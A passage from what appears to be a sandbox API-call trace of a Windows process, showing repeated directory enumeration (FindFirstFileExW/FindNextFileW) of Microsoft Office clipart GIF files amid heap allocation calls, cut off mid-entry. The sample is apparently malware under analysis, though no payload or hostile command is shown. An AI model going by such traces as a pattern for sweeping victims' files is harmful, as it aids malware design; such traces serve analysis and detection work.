(HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.761] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0071.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d748 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24a38 [0071.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.762] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d768 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24b40 [0071.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.762] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d788 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24c48 [0071.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.763] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d7a8 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24d50 [0071.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.763] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d7c8 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24e58 [0071.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.764] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d7e8 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa24f60 [0071.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.764] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d808 [0071.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa25068 [0071.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.765] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0071.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d828 [0071.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa25170 [0071.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.765] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0071.765] GetLastError () returned 0x12 [0071.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0071.765] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0071.765] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.765] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0071.765] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0071.765] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0071.766] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, 